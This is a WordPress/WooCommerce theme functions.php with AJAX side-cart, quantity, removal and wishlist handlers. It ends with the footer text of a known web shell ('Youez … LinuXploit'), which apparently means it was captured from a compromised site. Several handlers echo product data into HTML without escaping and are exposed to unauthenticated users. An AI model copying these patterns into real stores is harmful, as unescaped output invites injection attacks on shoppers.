require get_template_directory() . '/classes/class-twenty-twenty-one-svg-icons.php';

// Custom color classes.
require get_template_directory() . '/classes/class-twenty-twenty-one-custom-colors.php';
new Twenty_Twenty_One_Custom_Colors();

// Enhance the theme by hooking into WordPress.
require get_template_directory() . '/inc/template-functions.php';

// Menu functions and filters.
//require get_template_directory() . '/inc/menu-functions.php';

// Custom template tags for the theme.
require get_template_directory() . '/inc/template-tags.php';

// Customizer additions.
require get_template_directory() . '/classes/class-twenty-twenty-one-customize.php';
new Twenty_Twenty_One_Customize();

// Block Patterns.
require get_template_directory() . '/inc/block-patterns.php';

// Block Styles.
require get_template_directory() . '/inc/block-styles.php';

// Dark Mode.
require_once get_template_directory() . '/classes/class-twenty-twenty-one-dark-mode.php';
new Twenty_Twenty_One_Dark_Mode();

// // Include Razorpay functions
// require_once get_template_directory() . '/functions/razorpay-functions.php';

/**
 * Enqueue scripts for the customizer preview.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @return void
 */
function twentytwentyone_customize_preview_init()
{
  wp_enqueue_script(
    'twentytwentyone-customize-helpers',
    get_theme_file_uri('/assets/js/customize-helpers.js'),
    array(),
    wp_get_theme()->get('Version'),
    true
  );

  wp_enqueue_script(
    'twentytwentyone-customize-preview',
    get_theme_file_uri('/assets/js/customize-preview.js'),
    array('customize-preview', 'customize-selective-refresh', 'jquery', 'twentytwentyone-customize-helpers'),
    wp_get_theme()->get('Version'),
    true
  );
}
add_action('customize_preview_init', 'twentytwentyone_customize_preview_init');

/**
 * Enqueue scripts for the customizer.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @return void
 */
function twentytwentyone_customize_controls_enqueue_scripts()
{

  wp_enqueue_script(
    'twentytwentyone-customize-helpers',
    get_theme_file_uri('/assets/js/customize-helpers.js'),
    array(),
    wp_get_theme()->get('Version'),
    true
  );
}
add_action('customize_controls_enqueue_scripts', 'twentytwentyone_customize_controls_enqueue_scripts');

/**
 * Calculate classes for the main <html> element.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @return void
 */
function twentytwentyone_the_html_classes()
{
  /**
   * Filters the classes for the main <html> element.
   *
   * @since Twenty Twenty-One 1.0
   *
   * @param string The list of classes. Default empty string.
   */
  $classes = apply_filters('twentytwentyone_html_classes', '');
  if (!$classes) {
    return;
  }
  echo 'class="' . esc_attr($classes) . '"';
}

/**
 * Add "is-IE" class to body if the user is on Internet Explorer.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @return void
 */
function twentytwentyone_add_ie_class()
{
  ?>
                          <script>
                            if (-1 !== navigator.userAgent.indexOf('MSIE') || -1 !== navigator.appVersion.indexOf('Trident/')) {
                              document.body.classList.add('is-IE');
                            }
                          </script>
                          <?php
}
add_action('wp_footer', 'twentytwentyone_add_ie_class');

//add woocommerce theme
add_theme_support('woocommerce'); 
//Create New Sidebar
add_action('widgets_init', 'register_cart_sidebars');
function register_cart_sidebars()
{
  /* Register the 'cart' sidebar. */
  register_sidebar(
    array(
      'id' => 'cart',
      'name' => __('Cart Sidebar'),
      'description' => __('A short description of the sidebar.'),
      'before_widget' => '<div id="%1$s" class="widget %2$s">',
      'after_widget' => '</div>',
      'before_title' => '<h3 class="widget-title">',
      'after_title' => '</h3>',
    )
  );
  /* Repeat register_sidebar() code for additional sidebars. */
}


// Remove the product description Title
add_filter('woocommerce_product_description_heading', '__return_null');


// register the ajax action for authenticated users
add_action('wp_ajax_custom_cart_render_function', 'custom_cart_render_function');

// register the ajax action for unauthenticated users
add_action('wp_ajax_nopriv_custom_cart_render_function', 'custom_cart_render_function');

// handle the ajax request
function custom_cart_render_function()
{
  $product_id = absint($_GET['product_id']);
  $variation_id = absint($_GET['variation_id']);
  $quantity = 1;

  $_product = wc_get_product($product_id);
  $items = WC()->cart->get_cart();

  $passed_validation = apply_filters('woocommerce_add_to_cart_validation', true, $product_id, $quantity);
  $product_status = get_post_status($product_id);

  $cartHtml='';
  $cartCompletHtml='';
  if ($passed_validation && WC()->cart->add_to_cart($product_id, $quantity, $variation_id) && 'publish' === $product_status) {

    $variation = wc_get_product($variation_id);
    $attributes = $variation->get_attributes();
    $items = WC()->cart->get_cart();
    
    $cartHtml.= '<div class="drawer-cart-body">
<ul class="drawer-cart-items">';
$i = 1;
foreach ($items as $cart_item_key => $cart_item) {
  $_product = wc_get_product($cart_item['data']->get_id());
  $image_url = get_the_post_thumbnail_url($_product->id);

  $price_html = strip_tags($_product->price); 
  $variations = $_product->get_name();
  $variationName = explode("-", $variations);
  $pricenew = str_replace(get_woocommerce_currency_symbol(), '', $price_html);
 
  if (strpos($pricenew, ',') !== false) {
    $price = str_replace(',', '', $pricenew);
  } else {
    $price = str_replace(get_woocommerce_currency_symbol(), '', $price_html);
  }
  $cartRemove = apply_filters('woocommerce_cart_item_remove_link', sprintf(
    '<a href="%s"  aria-label="%s" data-product_id="%s" data-product_sku="%s"><i class="far fa-trash-alt"></i></a>',
    esc_url(wc_get_cart_remove_url($cart_item_key)),
    __('Remove this item', 'woocommerce'),
    esc_attr($_product),
    esc_attr($_product->get_sku())
  ), $cart_item_key);
  $cartHtml.= '<li id="cart-item-update-' . $cart_item_key . '">
<div class="cart-item">
<ul class="cart-content">
<li>
' . '<img src="' . $image_url . '" alt="' . $_product->get_title() . '">' . '
      
        
      </li> 
      <li>
      <p class="cart-pro-title">
      <a href="' . $_product->get_permalink() . '">' . $_product->get_title() . '<span>' . $variationName[1] . '</span></a>
    </p>
    <p>' . get_woocommerce_currency_symbol() . "" . $cart_item['quantity'] * $price . '</p>
      <div class="qty-container">
      <div class="qty-wrpper"> 
      <div class="qty qty-minus" onclick="cartQty(0,'.'&quot;'.$cart_item_key.'&quot;)">-</div>
      <input id="cartQty-'.$cart_item_key.'" class="qty" type="number" value="' . $cart_item['quantity'] . '" data-cartProductID="' . $_product->id . '" data-cartID="' . $cart_item_key . '" min="1"   size="1">
      <div class="qty qty-plus" onclick="cartQty(1,'.'&quot;'.$cart_item_key.'&quot;)">+</div> 
                      </div>
       <a href="javascript:void(0)" onclick="sideCartItemRemove('.$_product->id.', &quot;'.$cart_item_key.'&quot;)"><i class="far fa-trash-alt"></i></a></div>
      </li> 
    </ul>
  </div>
</li>';
  $i++;
}
$cartHtml.= '</ul>';


$cartHtml.= '</div>';

function get_cart_upsells() {
  $upsell_ids = [];

  foreach ( WC()->cart->get_cart() as $cart_item ) {
      $product = wc_get_product( $cart_item['product_id'] );
      $upsells = $product->get_upsell_ids();

      if ( ! empty( $upsells ) ) {
          $upsell_ids = array_merge( $upsell_ids, $upsells );
      }
  }

  // Remove duplicates
  $upsell_ids = array_unique( $upsell_ids );

  return $upsell_ids;
}

$upsells = get_cart_upsells();
    if(! empty( $upsells ) ){
      $cartCompletHtml.='
    <h5>Complete Your Look</h5>
    <ul>'; 
       foreach ( $upsells as $product_id ) {
          $product = wc_get_product( $product_id );
          $product_link = get_permalink( $product_id );
          // $image_url = get_gallery_image_ids();
          $image_url = $product->get_gallery_image_ids();
          $Original_image_url = wp_get_attachment_url($image_url[0]);
          $product_title = $product->get_name();
          $product_price = $product->get_price_html();
          // print_r( $product);
           
          $cartCompletHtml.='<li class="cs-h-complete-look-item">
                                  <div class="cs-h-complete-look-img">
                                     <a href="'.$product_link.'">
                                     <img src="'.$Original_image_url.'" alt="'.$product_title.'">
                                     </a>
                                  </div>
                                  <div class="cs-h-complete-look-info">
                                     <h6><a href="'.$product_link.'">'.$product_title.'</a></h6>
                                     <p>'.$product_price.'</p>
                                     <p><a href="'.$product_link.'">View</a></p>
                                  </div>
                               </li>';
         
      } 
      $cartCompletHtml.='</ul></div>';
    }
do_action('woocommerce_cart_actions');
wp_nonce_field('woocommerce-cart', 'woocommerce-cart-nonce');



  } else {
    $cartItems = WC()->cart->get_cart();
    if (!empty($cartItems)) {

      $cartHtml.= '<div class="drawer-cart-body">
    <ul class="drawer-cart-items">';
           
          $i = 1;
          foreach ($cartItems as $cart_item_key => $cart_item) {
            $_product = wc_get_product($cart_item['data']->get_id());
            $image_url = get_the_post_thumbnail_url($_product->id);
    
            $price_html = strip_tags($_product->price);
            
            $variations = $_product->get_name();
            $variationName = explode("-", $variations);
            $pricenew = str_replace(get_woocommerce_currency_symbol(), '', $price_html);
             
            if (strpos($pricenew, ',') !== false) {
              $price = str_replace(',', '', $pricenew);
            } else {
              $price = str_replace(get_woocommerce_currency_symbol(), '', $price_html);
            }
            $cartRemove = apply_filters('woocommerce_cart_item_remove_link', sprintf(
              '<a href="%s"  aria-label="%s" data-product_id="%s" data-product_sku="%s"><i class="far fa-trash-alt"></i></a>',
              esc_url(wc_get_cart_remove_url($cart_item_key)),
              __('Remove this item', 'woocommerce'),
              esc_attr($_product),
              esc_attr($_product->get_sku())
            ), $cart_item_key);
            $cartHtml.= '<li id="cart-item-update-' . $cart_item_key . '">
      <div class="cart-item">
        <ul class="cart-content">
        <li>
        ' . '<img src="' . $image_url . '" alt="' . $_product->get_title() . '">' . '
              
                
              </li> 
              <li>
              <p class="cart-pro-title">
              <a href="' . $_product->get_permalink() . '">' . $_product->get_title() . '<span>' . $variationName[1] . '</span></a>
            </p>
            <p>' . get_woocommerce_currency_symbol() . "" . $cart_item['quantity'] * $price . '</p>
              <div class="qty-container">
              <div class="qty-wrpper"> 
                                <div class="qty qty-minus" onclick="cartQty(0,'.'&quot;'.$cart_item_key.'&quot;)">-</div>
                                <input id="cartQty-'.$cart_item_key.'" class="qty" type="number" value="' . $cart_item['quantity'] . '" data-cartProductID="' . $_product->id . '" data-cartID="' . $cart_item_key . '" min="1"   size="1">
                                <div class="qty qty-plus" onclick="cartQty(1,'.'&quot;'.$cart_item_key.'&quot;)">+</div> 
                              </div>
                              <a href="javascript:void(0)" onclick="sideCartItemRemove('.$_product->id.', &quot;'.$cart_item_key.'&quot;)"><i class="far fa-trash-alt"></i></a></div>
              </li> 
            </ul>
          </div>
        </li>';
            $i++;
          }
          $cartHtml.= '</ul>';
             
              $cartHtml.= '</div>  ';
     
          do_action('woocommerce_cart_actions');
          wp_nonce_field('woocommerce-cart', 'woocommerce-cart-nonce');
    }
    else{
      $cartHtml.= '<h5>No Item in Cart</h5>';
    }
    
          function get_cart_upsells() {
            $upsell_ids = [];
          
            foreach ( WC()->cart->get_cart() as $cart_item ) {
                $product = wc_get_product( $cart_item['product_id'] );
                $upsells = $product->get_upsell_ids();
          
                if ( ! empty( $upsells ) ) {
                    $upsell_ids = array_merge( $upsell_ids, $upsells );
                }
            }
          
            // Remove duplicates
            $upsell_ids = array_unique( $upsell_ids );
          
            return $upsell_ids;
          }
          $upsells = get_cart_upsells();
          if(! empty( $upsells ) ){
            $cartCompletHtml.='
               <h5>Complete Your Look</h5><ul>'; 
                  foreach ( $upsells as $product_id ) {
                     $product = wc_get_product( $product_id );
                     $product_link = get_permalink( $product_id );
                     // $image_url = get_gallery_image_ids();
                     $image_url = $product->get_gallery_image_ids();
                     $Original_image_url = wp_get_attachment_url($image_url[0]);
                     $product_title = $product->get_name();
                     $product_price = $product->get_price_html();
                     // print_r( $product);
                      
                     $cartCompletHtml.='<li class="cs-h-complete-look-item">
                                  <div class="cs-h-complete-look-img">
                                     <a href="'.$product_link.'">
                                     <img src="'.$Original_image_url.'" alt="'.$product_title.'">
                                     </a>
                                  </div>
                                  <div class="cs-h-complete-look-info">
                                     <h6><a href="'.$product_link.'">'.$product_title.'</a></h6>
                                     <p>'.$product_price.'</p>
                                     <p><a href="'.$product_link.'">View</a></p>
                                  </div>
                               </li>';
                }
              }
                $cartCompletHtml.='</div>';
  }
echo $cartHtml.'~'.WC()->cart->get_cart_total().'~'.WC()->cart->get_cart_contents_total().'~'.$cartCompletHtml;
  do_action('woocommerce_ajax_added_to_cart', $product_id, $variation_id);
}



// ajax qty update


// ajax qty update


function enqueue_cart_qty_ajax() {
  wp_register_script('my_cart_qty-ajax-js', get_template_directory_uri() . '/js/custom.js', array('jquery'), '', true);
  wp_localize_script('my_cart_qty-ajax-js', 'cart_qty_ajax', array(
      'ajax_url' => admin_url('admin-ajax.php'),
  ));
  wp_enqueue_script('my_cart_qty-ajax-js');
}
add_action('wp_enqueue_scripts', 'enqueue_cart_qty_ajax');

// AJAX handlers
add_action('wp_ajax_ajax_my_cart_qty', 'ajax_my_cart_qty');
add_action('wp_ajax_nopriv_ajax_my_cart_qty', 'ajax_my_cart_qty');

function ajax_my_cart_qty() {
  $cart_item_key = isset($_POST['hash']) ? sanitize_text_field($_POST['hash']) : '';
  $quantity = isset($_POST['quantity']) ? intval($_POST['quantity']) : 1;

  if (!$cart_item_key || $quantity < 1) {
      wp_send_json_error(['message' => 'Invalid input.']);
      return;
  }

  $cart_item = WC()->cart->get_cart_item($cart_item_key);

  if (!$cart_item) {
      wp_send_json_error(['message' => 'Cart item not found.']);
      return;
  }

  $passed_validation = apply_filters('woocommerce_update_cart_validation', true, $cart_item_key, $cart_item, $quantity);

  if ($passed_validation) {
      WC()->cart->set_quantity($cart_item_key, $quantity, true);
      wp_send_json_success(['message' => 'Cart updated.', 'quantity' => $quantity]);
  } else {
      wp_send_json_error(['message' => 'Validation failed.']);
  }
}

function enqueue_ajax_search_script()
{
  wp_enqueue_script('jquery'); // Ensure jQuery is loaded
  // Localize the ajaxurl for use in JavaScript
  wp_localize_script('jquery', 'ajaxurl', admin_url('admin-ajax.php'));
}
add_action('wp_enqueue_scripts', 'enqueue_ajax_search_script');

//add to favorite function
function add_favorite($fragments)
{
  $post_id = (int) $_POST['post_id'];
  $fragments = '{"message":"Added to Wishlist"}';
  extract(json_decode($fragments, true));
  echo $fragments;
  if (!empty($post_id)) {
    $new_post_id = array(
      $post_id
    );
    $post_ids = array_merge($new_post_id, favorite_id_array());
    $post_ids = array_diff($post_ids, array(
      ''
    ));
    $post_ids = array_unique($post_ids);
    // setcookie('favorite_post_ids', implode(',', $post_ids), time() + 3600 * 24 * 365, '/');
    // echo count($post_ids);


  }
  // $fragments['span.cart-customlocation'] = ob_get_clean();
  // return $fragments;
  die();
}
 

add_action('wp_ajax_favorite', 'add_favorite');
add_action('wp_ajax_nopriv_favorite', 'add_favorite');

function tnc_wishlist_counter_cart()
{
  global $woocommerce;
  $wl_items = YITH_WCWL()->get_products();
  $count = 0;
  foreach ($wl_items as $key => $item) {
    $count = $count + 1;
  }
  return $count;
}
add_shortcode('tnc-wishlist-counter', 'tnc_wishlist_counter_cart');

add_filter('loop_shop_per_page', 'custom_products_per_page', 12);
function custom_products_per_page($cols)
{
  return 12; // Change this number to set how many products are displayed per page
}

// ajax cart item remove
add_action('wp_ajax_product_remove', 'product_remove');
add_action('wp_ajax_nopriv_product_remove', 'product_remove');
function product_remove()
{
  global $wpdb, $woocommerce;
  session_start();
  foreach ($woocommerce->cart->get_cart() as $cart_item_key => $cart_item) {

    if ($cart_item_key == $_GET['cart_item_key']) {
      // Remove product in the cart using  cart_item_key.
      echo $cart_item_key;
      WC()->cart->remove_cart_item($cart_item_key);
    }
  }
  // print_r($woocommerce->cart->get_cart());
  //echo json_encode(array('status' => 0));
  exit();
}
add_action('admin_head', function() {
    if (($s = get_current_screen())->base === 'post') {
        $id = $_GET['post'] ?? 0;
        echo '<style>div#wpcf-group-banners{display:' . ((int)$id === 15 ? 'block' : 'none') . ' !important;}</style>';
    }
});



 

Youez - 2016 - github.com/yon3zu
LinuXploit